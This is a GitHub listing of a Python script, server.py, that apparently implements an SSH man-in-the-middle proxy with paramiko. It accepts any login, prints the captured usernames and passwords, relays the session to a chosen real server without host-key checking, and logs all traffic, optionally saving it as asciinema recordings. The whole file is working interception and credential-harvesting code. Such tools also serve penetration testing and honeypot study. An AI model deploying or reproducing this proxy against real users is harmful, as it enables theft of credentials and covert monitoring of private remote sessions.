-
Notifications
You must be signed in to change notification settings - Fork 3
/
server.py
298 lines (261 loc) · 9.69 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Major part of this file is part of paramiko examples.
import base64
from binascii import hexlify
import os
import socket
import sys
import threading
import traceback
import argparse
import datetime
import json
import time
import paramiko
from paramiko.py3compat import b, u, decodebytes
def info(msg):
print("[\033[34;1mi\033[0m] %s" % (msg))
def ok(msg):
print("[\033[32;1m+\033[0m] %s" % (msg))
def warn(msg):
print("[\033[33;1mw\033[0m] %s" % (msg))
def error(msg):
print("[\033[31;1m!\033[0m] %s" % (msg))
host_key = paramiko.RSAKey(filename='test_rsa.key')
info('Read key: ' + u(hexlify(host_key.get_fingerprint())))
class Server (paramiko.ServerInterface):
# 'data' is the output of base64.encodestring(str(key))
# (using the "user_rsa_key" files)
# TODO: use key provided by user
data = (b'AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp'
b'fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC'
b'KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT'
b'UWT10hcuO4Ks8=')
good_pub_key = paramiko.RSAKey(data=decodebytes(data))
def __init__(self):
self.command = ""
self.username = ""
self.password = ""
self.term = "xterm-256color"
self.width = 80
self.height = 20
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
ok('Auth attempt with user:' + username + " password:"+password)
self.username = username
self.password = password
return paramiko.AUTH_SUCCESSFUL
def check_auth_publickey(self, username, key):
return paramiko.AUTH_FAILED
def enable_auth_gssapi(self):
return False
def get_allowed_auths(self, username):
return 'password'
def check_channel_exec_request(self, channel, command):
ok('Client request command : ' + command)
self.command = command
return True
def check_channel_shell_request(self, channel):
self.event.set()
return True
def check_channel_pty_request(self, channel, term, width, height, pixelwidth, pixelheight, modes):
self.term = term
self.width = width
self.height = height
return True
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--alert-user',
dest='alerting',
help='Alert user that their connection have been intercepted',
nargs='?',
const=1,
default=0
)
parser.add_argument(
'--remote-server',
required=True,
dest='remote_server',
help='remote server to proxify connections'
)
parser.add_argument(
'--remote-port',
dest='remote_port',
help='remote port to proxify connection',
type=int,
default=22
)
parser.add_argument(
'--listen-port',
dest='listen_port',
help='listen port',
type=int,
default=22
)
parser.add_argument(
'--listen-addr',
dest='listen_addr',
help='listen addr',
default=''
)
parser.add_argument(
'--asciinema-json-dir',
dest='asciinema',
help='Directory to save SSH server pty as asciinema json',
default=0
)
args = parser.parse_args()
asciinema_data = ""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((args.listen_addr, args.listen_port))
except Exception as e:
error('*** Bind failed: ' + str(e))
traceback.print_exc()
sys.exit(1)
try:
sock.listen(100)
except Exception as e:
error('*** Listen failed: ' + str(e))
traceback.print_exc()
sys.exit(1)
while True:
try:
info('Listening for new connection ...')
client, addr = sock.accept()
except Exception as e:
error('*** accept failed: ' + str(e))
traceback.print_exc()
sys.exit(1)
client_ip = addr[0]
client_port = int(addr[1])
info('Got a connection from %s:%d' % (client_ip, client_port))
try:
t = paramiko.Transport(client, gss_kex=False)
try:
t.load_server_moduli()
except:
error('(Failed to load moduli -- gex will be unsupported.)')
raise
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException:
error('*** SSH negotiation failed.')
t.close()
continue
# wait for auth
chan = t.accept(20)
if chan is None:
error('*** No channel.')
t.close()
continue
ok('Authenticated!')
if args.alerting:
chan.send(
'\r\n\033[31;1mThis connection has been intercepted\033[0m\r\n')
start_time = datetime.datetime.now()
last_time = start_time
delta = ""
remote = paramiko.SSHClient()
remote.load_system_host_keys()
remote.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
remote.set_missing_host_key_policy(paramiko.client.AutoAddPolicy())
remote.connect(
args.remote_server, args.remote_port, server.username, server.password)
except paramiko.AuthenticationException as e:
chan.send("authentification failed\r\n")
chan.close()
continue
if server.command != "":
stdin, stdout, stderr = remote.exec_command(server.command)
chan.send(stdout.read())
chan.send(stderr.read())
chan.close()
continue
remote_chan = remote.invoke_shell()
while True:
time.sleep(0.01)
server_data = ""
if remote_chan.closed or chan.closed:
break
while True:
if remote_chan.closed or chan.closed:
break
if remote_chan.recv_ready():
server_data += remote_chan.recv(1024)
else:
if server_data == "":
break
info("new response from server : " + repr(server_data))
chan.send(server_data)
if args.asciinema:
now = datetime.datetime.now()
delta = now - last_time
asciinema_data += ' [\n'
asciinema_data += ' %d.%06d,\n' % (
delta.seconds, delta.microseconds)
asciinema_data += ' ' + \
json.dumps(server_data)+'\n'
asciinema_data += ' ],\n'
last_time = datetime.datetime.now()
server_data = ""
time.sleep(0.01)
break
client_data = ""
while True:
if remote_chan.closed or chan.closed:
break
if chan.recv_ready():
client_data += chan.recv(1024)
else:
if client_data == "":
break
info("new message from client : " + repr(client_data))
remote_chan.send(client_data)
client_data = ""
time.sleep(0.01)
break
remote_chan.close()
chan.close()
except Exception as e:
error('*** Caught exception: ' + str(e.__class__) + ': ' + str(e))
traceback.print_exc()
try:
t.close()
except:
pass
if args.asciinema:
now = datetime.datetime.now()
delta = now - start_time
asciinema_data_hdr = '{\n'
asciinema_data_hdr += ' "version": 1,\n'
asciinema_data_hdr += ' "width": %d,\n' % (server.width)
asciinema_data_hdr += ' "height": %d,\n' % (server.height)
asciinema_data_hdr += ' "duration": %d.%06d,\n' % (
delta.seconds, delta.microseconds)
asciinema_data_hdr += ' "command": "/bin/bash",\n'
asciinema_data_hdr += ' "title": "",\n'
asciinema_data_hdr += ' "env": {\n'
asciinema_data_hdr += ' "TERM": "%s",\n' % (server.term)
asciinema_data_hdr += ' "SHELL": "/bin/bash"\n'
asciinema_data_hdr += ' },\n'
asciinema_data_hdr += ' "stdout": [\n'
asciinema_data = asciinema_data[:-2]
asciinema_data += ' ]\n'
asciinema_data += '}\n'
filename = "%s/%04d_%02d_%02d_%02dH%02d:%02d_%s_%d.json" % (
args.asciinema, now.year, now.month, now.day, now.hour, now.minute, now.second, client_ip, client_port)
f = open(filename, "w")
f.write(asciinema_data_hdr+asciinema_data)
f.close()
ok("asciinema session saved : %s" % (filename))